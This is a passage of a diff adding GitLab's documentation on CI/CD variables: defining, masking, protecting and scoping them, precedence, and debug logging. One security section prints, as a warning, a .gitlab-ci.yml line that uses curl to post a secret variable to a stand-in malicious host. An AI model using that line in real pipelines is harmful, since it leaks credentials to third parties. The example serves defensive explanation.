"$LS_CMD"' # Executes 'ls -al $TMP_DIR' +``` + +Use the [`value` and `description`](../yaml/index.md#prefill-variables-in-manual-pipelines) +keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). + +### Add a CI/CD variable to a project + +You can add CI/CD variables to a project's settings. Only project members with the +[Maintainer role](../../user/permissions.md#project-members-permissions) +can add or update project CI/CD variables. To keep a CI/CD variable secret, put it +in the project settings, not in the `.gitlab-ci.yml` file. + +To add or update variables in the project settings: + +1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. +1. Select the **Add Variable** button and fill in the details: + + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: No limitations. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is masked + in job logs. The variable fails to save if the value does not meet the + [masking requirements](#mask-a-cicd-variable). + +After you create a variable, you can use it in the `.gitlab-ci.yml` file: + +```yaml +test_variable: + stage: test + script: + - echo "$CI_JOB_STAGE" # calls a predefined variable + - echo "$TEST" # calls a custom variable of type `env_var` + - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file + - cat "$GREETING" # the temp file itself contains the variable value +``` + +The output is: + + + +### Add a CI/CD variable to a group + +> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 + +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. + +Use group variables to store secrets like passwords, SSH keys, and credentials, if you: + +- Do **not** use an external key store. +- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). + +To add a group variable: + +1. In the group, go to **Settings > CI/CD**. +1. Select the **Add Variable** button and fill in the details: + + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: No limitations. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is masked + in job logs. The variable fails to save if the value does not meet the + [masking requirements](#mask-a-cicd-variable). + +#### View all group-level variables available in a project + +To view all the group-level variables available in a project: + +1. In the project, go to **Settings > CI/CD**. +1. Expand the **Variables** section. + +Variables from [subgroups](../../user/group/subgroups/index.md) are recursively +inherited. + + + +### Add a CI/CD variable to an instance **(FREE SELF)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. + +To make a CI/CD variable available to all projects and groups in a GitLab instance, +add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md). + +You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). + +To add an instance variable: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. +1. Select the **Add variable** button, and fill in the details: + + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), + 10,000 characters is allowed. This is also bounded by the limits of the selected + runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is not shown + in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). + +### CI/CD variable types + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. + +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. + +`Variable` type variables: + +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. + +Use `File` type CI/CD variables for tools that need a file as input. + +`File` type variables: + +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. + +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) +use `File` type variables for configuration. + +For example, if you have the following variables: + +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. + +Use the variables in a job script like this: + +```shell +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" +``` + +An alternative to `File` type variables is to: + +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. + +```shell +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +``` + +### Mask a CI/CD variable + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10 + +You can mask a project, group, or instance CI/CD variable so the value of the variable +does not display in job logs. + +To mask a variable: + +1. In the project, group, or Admin Area, go to **Settings > CI/CD**. +1. Expand the **Variables** section. +1. Next to the variable you want to protect, select **Edit**. +1. Select the **Mask variable** check box. +1. Select **Update variable**. + +The value of the variable must: + +- Be a single line. +- Be 8 characters or longer, consisting only of: + - Characters from the Base64 alphabet (RFC4648). + - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later). + - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later). + - The `~` character ([In GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61517) and later). +- Not match the name of an existing predefined or custom CI/CD variable. + +NOTE: +Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing +variable values. To make variables more secure, you can [use external secrets](../secrets/index.md). + +### Protect a CI/CD variable + +You can protect a project, group or instance CI/CD variable so it is only passed +to pipelines running on [protected branches](../../user/project/protected_branches.md) +or [protected tags](../../user/project/protected_tags.md). + +To protect a variable: + +1. Go to **Settings > CI/CD** in the project, group or instance admin area. +1. Expand the **Variables** section. +1. Next to the variable you want to protect, select **Edit**. +1. Select the **Protect variable** check box. +1. Select **Update variable**. + +The variable is available for all subsequent pipelines. + +### CI/CD variable security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. + +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: + +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merge the changes. + +The following example shows malicious code in a `.gitlab-ci.yml` file: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +``` + +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + +### Custom variables validated by GitLab + +Some variables are listed in the UI so you can choose them more quickly. + +| Variable | Allowed Values | Introduced in | +|-------------------------|----------------------------------------------------|---------------| +| `AWS_ACCESS_KEY_ID` | Any | 12.10 | +| `AWS_DEFAULT_REGION` | Any | 12.10 | +| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | + +WARNING: +When you store credentials, there are [security implications](#cicd-variable-security). +If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). + +## Use CI/CD variables in job scripts + +All CI/CD variables are set as environment variables in the job's environment. +You can use variables in job scripts with the standard formatting for each environment's +shell. + +To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). + +### Use variables with Bash, `sh` and similar + +To access environment variables in Bash, `sh`, and similar shells, prefix the +CI/CD variable with (`$`): + +```yaml +job_name: + script: + - echo "$CI_JOB_ID" +``` + +### Use variables with PowerShell + +To access variables in a Windows PowerShell environment, including environment +variables set by the system, prefix the variable name with (`$env:`) or (`$`): + +```yaml +job_name: + script: + - echo $env:CI_JOB_ID + - echo $CI_JOB_ID + - echo $env:PATH +``` + +In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820) +environment variables might need to be surrounded by quotes to expand properly: + +```yaml +job_name: + script: + - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test +``` + +### Use variables with Windows Batch + +To access CI/CD variables in Windows Batch, surround the variable +with `%`: + +```yaml +job_name: + script: + - echo %CI_JOB_ID% +``` + +You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). +Delayed expansion might be needed for variables that contain white spaces or newlines. + +```yaml +job_name: + script: + - echo !ERROR_MESSAGE! +``` + +### List all environment variables + +You can list all environment variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. + +For example: + +```yaml +job_name: + script: + - export + # - 'dir env:' # Use this for PowerShell +``` + +Example job log output: + +```shell +export CI_JOB_ID="50" +export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" +export CI_COMMIT_SHORT_SHA="1ecfd275" +export CI_COMMIT_REF_NAME="main" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" +export CI_COMMIT_TAG="1.0.0" +export CI_JOB_NAME="spec:other" +export CI_JOB_STAGE="test" +export CI_JOB_MANUAL="true" +export CI_JOB_TRIGGERED="true" +export CI_JOB_TOKEN="[masked]" +export CI_PIPELINE_ID="1000" +export CI_PIPELINE_IID="10" +export CI_PAGES_DOMAIN="gitlab.io" +export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" +export CI_PROJECT_ID="34" +export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" +export CI_PROJECT_NAME="gitlab-foss" +export CI_PROJECT_TITLE="GitLab FOSS" +export CI_PROJECT_NAMESPACE="gitlab-org" +export CI_PROJECT_ROOT_NAMESPACE="gitlab-org" +export CI_PROJECT_PATH="gitlab-org/gitlab-foss" +export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss" +export CI_REGISTRY="registry.example.com" +export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss" +export CI_REGISTRY_USER="gitlab-ci-token" +export CI_REGISTRY_PASSWORD="[masked]" +export CI_RUNNER_ID="10" +export CI_RUNNER_DESCRIPTION="my runner" +export CI_RUNNER_TAGS="docker, linux" +export CI_SERVER="yes" +export CI_SERVER_URL="https://example.com" +export CI_SERVER_HOST="example.com" +export CI_SERVER_PORT="443" +export CI_SERVER_PROTOCOL="https" +export CI_SERVER_NAME="GitLab" +export CI_SERVER_REVISION="70606bf" +export CI_SERVER_VERSION="8.9.0" +export CI_SERVER_VERSION_MAJOR="8" +export CI_SERVER_VERSION_MINOR="9" +export CI_SERVER_VERSION_PATCH="0" +export GITLAB_USER_EMAIL="user@example.com" +export GITLAB_USER_ID="42" +... +``` + +## Pass an environment variable to another job + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. + +You can pass environment variables from one job to another job in a later stage. +These variables cannot be used as CI/CD variables to configure a pipeline, but +they can be used in job scripts. + +1. In the job script, save the variable as a `.env` file. +1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/index.md#artifactsreportsdotenv) +artifact. +1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/index.md#dependencies) + or the [`needs`](../yaml/index.md#artifact-downloads-with-needs) keywords. +1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). + +For example, with the [`dependencies`](../yaml/index.md#dependencies) keyword: + +```yaml +build: + stage: build + script: + - echo "BUILD_VERSION=hello" >> build.env + artifacts: + reports: + dotenv: build.env + +deploy: + stage: deploy + script: + - echo "$BUILD_VERSION" # Output is: 'hello' + dependencies: + - build +``` + +For example, with the [`needs`](../yaml/index.md#artifact-downloads-with-needs) keyword: + +```yaml +build: + stage: build + script: + - echo "BUILD_VERSION=hello" >> build.env + artifacts: + reports: + dotenv: build.env + +deploy: + stage: deploy + script: + - echo "$BUILD_VERSION" # Output is: 'hello' + needs: + - job: build + artifacts: true +``` + +## CI/CD variable precedence + +You can use CI/CD variables with the same name in different places, but the values +can overwrite each other. The type of variable and where they are defined determines +which variables take precedence. + +The order of precedence for variables is (from highest to lowest): + +1. [Trigger variables](../triggers/index.md#making-use-of-trigger-variables), + [scheduled pipeline variables](../pipelines/schedules.md#using-variables), + and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). +1. Project [variables](#custom-cicd-variables). +1. Group [variables](#add-a-cicd-variable-to-a-group). +1. Instance [variables](#add-a-cicd-variable-to-an-instance). +1. [Inherited variables](#pass-an-environment-variable-to-another-job). +1. Variables defined in jobs in the `.gitlab-ci.yml` file. +1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. +1. [Deployment variables](#deployment-variables). +1. [Predefined variables](predefined_variables.md). + +In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. +Variables defined in jobs have a higher precedence than variables defined globally. + +```yaml +variables: + API_TOKEN: "default" + +job1: + variables: + API_TOKEN: "secure" + script: + - echo "The variable value is $API_TOKEN" +``` + +## Override a defined CI/CD variable + +You can override the value of a variable when you: + +1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI. +1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline). +1. Run a job manually in the UI. +1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). +1. Trigger a pipeline by using [the API](../triggers/index.md#making-use-of-trigger-variables). +1. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword) + or [by using variable inheritance](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance). + +The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence). + +### Override a variable when running a pipeline manually + +You can override the value of a CI/CD variable when you +[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). + +1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. +1. Choose the branch you want to run the pipeline for. +1. Input the variable and its value in the UI. + +### Restrict who can override variables + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. + +You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline +with overridden variables, they receive the `Insufficient permissions to set pipeline variables` +error message. + +If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file), +use this setting for control over the environment the pipeline runs in. + +You can enable this feature by using [the projects API](../../api/projects.md#edit-project) +to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. + +## Limit the environment scope of a CI/CD variable + +By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a +compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is +a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting +the environment scope of a variable. GitLab does this by +[defining which environments and corresponding jobs](../environments/index.md) +the variable can be available for. + +To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs). + +To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected +branches or tags, see [Protect a CI/CD Variable](#protect-a-cicd-variable). + +## Deployment variables + +Integrations that are responsible for deployment configuration can define their own +variables that are set in the build environment. These variables are only defined +for [deployment jobs](../environments/index.md). + +For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) +defines deployment variables that you can use with the integration. + +The [documentation for each integration](../../user/project/integrations/overview.md) +explains if the integration has any deployment variables available. + +## Auto DevOps environment variables + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7. + +You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables +to a running application. + +To make a CI/CD variable available as an environment variable in the running application's container, +[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables) +with `K8S_SECRET_`. + +CI/CD variables with multi-line values are not supported. + +## Debug logging + +> Introduced in GitLab Runner 1.7. + +WARNING: +Debug logging can be a serious security risk. The output contains the content of +all variables and other secrets available to the job. The output is uploaded to the +GitLab server and visible in job logs. + +You can use debug logging to help troubleshoot problems with pipeline configuration +or job scripts. Debug logging exposes job execution details that are usually hidden +by the runner and makes job logs more verbose. It also exposes all variables and secrets +available to the job. + +Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features) +can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) +with debug output before you make logs public again. + +### Enable Debug logging + +To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: + +```yaml +job_name: + variables: + CI_DEBUG_TRACE: "true" +``` + +Example output (truncated): + +```shell +... +export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE" +if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then + echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\'' + $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace" + $'\''git'\'' "config" "fetch.recurseSubmodules" "false" + $'\''rm'\'' "-f" ".git/index.lock" + $'\''git'\'' "clean" "-ffdx" + $'\''git'\'' "reset" "--hard" + $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git" + $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds" +++ CI_BUILDS_DIR=/builds +++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace +++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace +++ export CI_CONCURRENT_ID=87 +++ CI_CONCURRENT_ID=87 +++ export CI_CONCURRENT_PROJECT_ID=0 +++ CI_CONCURRENT_PROJECT_ID=0 +++ export CI_SERVER=yes +++ CI_SERVER=yes +++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp +++ echo -n '-----BEGIN CERTIFICATE----- +-----END CERTIFICATE-----' +++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE +++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE +++ export CI_PIPELINE_ID=52666 +++ CI_PIPELINE_ID=52666 +++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666 +++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666 +++ export CI_JOB_ID=7046507 +++ CI_JOB_ID=7046507 +++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 +++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 +++ export CI_JOB_TOKEN=[MASKED] +++ CI_JOB_TOKEN=[MASKED] +++ export CI_REGISTRY_USER=gitlab-ci-token +++ CI_REGISTRY_USER=gitlab-ci-token +++ export CI_REGISTRY_PASSWORD=[MASKED] +++ CI_REGISTRY_PASSWORD=[MASKED] +++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git +++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git +++ export CI_JOB_NAME=debug_trace +++ CI_JOB_NAME=debug_trace +++ export CI_JOB_STAGE=test +++ CI_JOB_STAGE=test +++ export CI_NODE_TOTAL=1 +++ CI_NODE_TOTAL=1 +++ export CI=true +++ CI=true +++ export GITLAB_CI=true +++ GITLAB_CI=true +++ export CI_SERVER_URL=https://gitlab.com:3000 +++ CI_SERVER_URL=https://gitlab.com:3000 +++ export CI_SERVER_HOST=gitlab.com +++ CI_SERVER_HOST=gitlab.com +++ export CI_SERVER_PORT=3000 +++ CI_SERVER_PORT=3000 +++ export CI_SERVER_PROTOCOL=https +++ CI_SERVER_PROTOCOL=https +++ export CI_SERVER_NAME=GitLab +++ CI_SERVER_NAME=GitLab +++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal +++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal +++ export CI_PROJECT_ID=17893 +++ CI_PROJECT_ID=17893 +++ export CI_PROJECT_NAME=ci-debug-trace +++ CI_PROJECT_NAME=ci-debug-trace +++ export CI_PROJECT_TITLE='GitLab FOSS' +++ CI_PROJECT_TITLE='GitLab FOSS' +++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace +++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace +++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace +++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace +++ export CI_PROJECT_NAMESPACE=gitlab-examples +++ CI_PROJECT_NAMESPACE=gitlab-examples +++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples +++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples +++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace +++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace +++ export CI_PROJECT_VISIBILITY=public +++ CI_PROJECT_VISIBILITY=public +++ export CI_PROJECT_REPOSITORY_LANGUAGES= +++ CI_PROJECT_REPOSITORY_LANGUAGES= +++ export CI_DEFAULT_BRANCH=main +++ CI_DEFAULT_BRANCH=main +++ export CI_REGISTRY=registry.gitlab.com +++ CI_REGISTRY=registry.gitlab.com +++ export CI_API_V4_URL=https://gitlab.com/api/v4 +++ CI_API_V4_URL=https://gitlab.com/api/v4 +++ export CI_PIPELINE_IID=123 +++ CI_PIPELINE_IID=123 +++ export CI_PIPELINE_SOURCE=web +++ CI_PIPELINE_SOURCE=web +++ export CI_CONFIG_PATH=.gitlab-ci.yml +++ CI_CONFIG_PATH=.gitlab-ci.yml +++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045 +++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045 +++ export CI_COMMIT_SHORT_SHA=dd648b2e +++ CI_COMMIT_SHORT_SHA=dd648b2e +++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 +++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 +++ export CI_COMMIT_REF_NAME=main +++ CI_COMMIT_REF_NAME=main +++ export CI_COMMIT_REF_SLUG=main +++ CI_COMMIT_REF_SLUG=main +... +``` + +### Restrict access to debug logging + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. + +You can restrict access to debug logging. When restricted, only users with +[developer or higher permissions](../../user/permissions.md#project-members-permissions) +can view job logs when debug logging is enabled with a variable in: + +- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The CI/CD variables set in the GitLab UI. + +WARNING: +If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible +to all users with access to job logs. The permission levels are not checked by the runner, +so you should only use the variable in GitLab itself. + +## Video walkthrough of a working example + +The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) +video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) +working example project. It explains how multiple levels of group CI/CD variables +can be combined with environment-scoped project variables for complex configuration +of application builds or deployments. + +The example can be copied to your own group or instance for testing. More details +on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index bd280cc4825..b6dd9446644 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -7,14 +7,14 @@ type: reference # Predefined variables reference **(FREE)** -Predefined [CI/CD variables](README.md) are available in every GitLab CI/CD pipeline. +Predefined [CI/CD variables](index.md) are available in every GitLab CI/CD pipeline. Some variables are only available with more recent versions of [GitLab Runner](https://docs.gitlab.com/runner/). -You can [output the values of all variables available for a job](README.md#list-all-environment-variables) +You can [output the values of all variables available for a job](index.md#list-all-environment-variables) with a `script` command. -There are also [Kubernetes-specific deployment variables](../../user/project/clusters/index.md#deployment-variables). +There are also [Kubernetes-specific deployment variables](../../user/project/clusters/deploy_to_cluster.md#deployment-variables). | Variable | GitLab | Runner | Description | |------------------------------------------|--------|--------|-------------| @@ -39,7 +39,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_CONCURRENT_ID` | all | 11.10 | The unique ID of build execution in a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | The unique ID of build execution in a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to the CI/CD configuration file. Defaults to `.gitlab-ci.yml`. | -| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](README.md#debug-logging) is enabled. | +| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#debug-logging) is enabled. | | `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the project's default branch. | | 